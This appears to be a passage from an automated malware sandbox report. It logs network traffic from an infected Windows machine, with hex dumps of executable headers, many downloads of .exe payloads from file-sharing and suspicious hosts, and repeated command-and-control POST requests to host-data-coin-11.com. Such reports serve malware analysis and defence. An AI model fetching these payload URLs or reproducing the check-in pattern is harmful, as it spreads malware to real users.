00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 d6 ad 35 ab 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 30 00 00 24 03 00 00 2a 03 00 00 00 00 00 00 b0 06 00 00 20 00 00 00 60 03 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 30 08 00 00 04 00 00 1c 40 09 00 02 00 40 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 70 03 00 e4 01 00 00 00 80 03 00 50 29 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 69 64 61 74 61 00 00 00 60 03 00 00 10 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 2e 70 64 61 74 61 00 00 00 10 00 00 00 70 03 00 00 02 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 50 29 03 00 00 80 03 00 30 06 03 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 61 00 00 80 01 00 00 b0 06 00 fc 78 01 00 00 0e 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.20.1Date: Fri, 14 Jan 2022 04:00:00 GMTContent-Type: application/x-msdos-programContent-Length: 3590568Connection: closeLast-Modified: Tue, 11 Jan 2022 09:57:59 GMTETag: "36c9a8-5d54b7cf63afc"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 09 00 ed 8e da 61 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 0e 1d 00 98 04 00 00 d0 02 00 00 00 00 00 00 30 02 00 00 10 00 00 00 b0 04 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 30 57 00 00 04 00 00 f6 34 38 00 02 00 00 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 7c 7c 52 00 20 01 00 00 00 c0 50 00 0d ab 01 00 00 00 00 00 00 00 00 00 00 a6 36 00 a8 23 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 43 18 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 80 02 00 00 30 02 00 00 7a 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 f0 00 00 00 b0 04 00 00 72 00 00 00 7e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 20 00 00 00 a0 05 00 00 04 00 00 00 f0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 13 29 18 00 00 c0 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 d0 32 00 00 f0 1d 00 00 c8 2f 00 00 f4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 00 b0 01 00 00 c0 50 00 00 3a 01 00 00 bc 30 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 50 6c 37 71 52 37 68 00 b0 04 00 00 70 52 00 00 b0 04 00 00 f6 31 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 61 64 61 74 61 00 00 00 10 00 00 00 20 57 00 00 00 00 00 00 a6 36 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET /32739433.dat?iddqd=1 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: 185.233.81.115
Source: global traffic	HTTP traffic detected: GET /attachments/903666793514672200/930134152861343815/Nidifying.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: cdn.discordapp.com
Source: global traffic	HTTP traffic detected: GET /abhF HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: goo.su
Source: global traffic	HTTP traffic detected: GET /get/QbPlFD/G.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: transfer.sh
Source: global traffic	HTTP traffic detected: GET /get/uq3XSe/5.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: transfer.sh
Source: global traffic	HTTP traffic detected: GET /get/uq3XSe/5.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: transfer.sh
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://qlxnfuhj.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 296Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://fggjhikg.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 360Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://slshljche.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 340Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://fqtuljhoii.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 157Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://rmdwdmn.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 242Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://hmirsmb.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 154Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://njsnp.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 310Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://rksnlek.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 218Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: GET /files/9030_1641816409_7037.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: data-host-coin-8.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://hxaovqrpb.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 205Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://afnhk.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 207Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://uyqwcjxbf.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 267Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://bncatspln.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 349Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://bwonexybi.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 262Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: GET /install5.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: unicupload.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://sworutss.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 124Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://drlfnir.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 357Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://rvqyadtl.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 355Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://irhpoqhlc.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 165Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: GET /game.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: data-host-coin-8.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://xpbxi.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 320Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://wefker.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 342Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://kyelhwx.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 252Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://gbuig.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 140Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: GET /6.php HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: 185.7.214.171:8080
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://jjjeal.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 121Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://kllxbylc.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 143Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://iqiollry.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 356Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://lxvicbnfu.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 180Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://alysw.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 249Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://yocfbwydo.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 181Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://gempx.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 266Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://cnwtvll.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 350Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://ecigcmyd.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 279Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://qaicqimmrp.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 340Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://lwrsn.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 157Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://lqdvrak.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 151Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://scugxyrh.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 255Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://lwwgdj.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 269Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://umttqygm.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 209Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://dujdgqdl.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 199Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://acontkk.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 334Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://rwkvcn.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 355Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://urrhyr.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 155Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: GET /files/6961_1642089187_2359.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: data-host-coin-8.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://bqqdf.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 333Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://dcbwcxee.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 125Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://vwrxdxe.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 345Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://kijlaf.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 236Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://xbgcbdcvsv.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 299Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://kvaxa.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 235Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://wferj.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 138Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: GET /files/8474_1641976243_3082.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: data-host-coin-8.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://jkhktrj.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 157Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://uiswqsy.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 216Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: GET /9.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: a0621298.xsph.ru
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://otiidv.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 247Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://adiacegte.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 320Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://kxdhsiskb.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 196Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://wuqrydcob.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 343Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://khptceilp.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 301Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://teeekh.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 320Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://rhggaprrm.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 320Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://rrvxdibqv.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 355Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: GET /files/6961_1642089187_2359.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: data-host-coin-8.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://hcsfipgmy.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 336Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://ygjqjael.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 292Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: GET /files/7729_1642101604_1835.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: data-host-coin-8.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://ijclu.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 339Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://abuneept.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 197Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: GET /7.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: a0621298.xsph.ru
